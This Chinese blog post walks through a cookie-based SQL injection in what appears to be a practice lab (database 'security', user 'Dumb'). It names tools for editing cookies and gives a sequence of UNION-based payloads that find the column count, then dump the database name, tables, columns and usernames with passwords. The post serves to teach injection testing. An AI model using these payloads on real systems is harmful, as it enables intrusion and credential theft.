利用cookie进行SQL注入——看来还是人工注入要熟悉才行
时间:2021-07-01 10:21:17
帮助过:15人阅读
可以看到只存储了uname这一个字段的信息,且是明文存储。
修改Cookie后刷新界面:
3.F12查看
从上面的操作中,可知操作流程:
登陆后将uname写入Cookie。
在每次Request (GET / POST)页面时后台判断Cookie是否存在,若不存在则为登录界面;若存在则读取Cookie中字段uname。
在数据库中按username查询,若用户存在则将查询到用户id、username、password回显;若不存在…
可以判断出注入点就在Cookie处,但是这里注入有三种途径:
用Chrome插件EditThisCookie修改本地Cookie文件注入。
用Firefox浏览器插件HackBar修改本地Cookie文件注入(这个并不是很好用,不推荐用)。
用Burpsuite修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入,这种方式不会修改本地的Cookie文件。
这里演示第二个途径:
我们得出后台根据Cookie中的uname查询用户的所有信息,即这是个SELECT语句,我们可以使用最简单的UNION注入。
1.判断字符型 / 数字型注入爆出语法错误,看得出来就是单引号型;2.判断字段数与回显字段uname=Dumb‘ order by 4 -- #uname=1‘ union select 1,2,3 -- # PS: 关于获取字段的小技巧:我们从后台源码中,一般只要看到 select * from 表名,一般是要猜这个表里的所有字段,然后进行注入,如果是 select username,password from 表名,这种形式的可以直接利用2个字段,作为语句的注入字段。3.暴库:uname=1‘ union select 1,2,database() -- #暴表:uname=1‘ union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘security‘ -- #暴字段:uname=1‘ union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ -- #暴数据:(这两种其实是一样的)uname=1‘ union select 1,2,group_concat(username,0x7e,password)from security.users -- #uname=1‘ union select 1,2,group_concat(concat_ws(‘-‘,id,username,password)) from users# -- #上面就是简单的基于报错的注入
利用cookie进行SQL注入——看来还是人工注入要熟悉才行
标签:edit pos security 修改 获取 sele 这一 F12 读取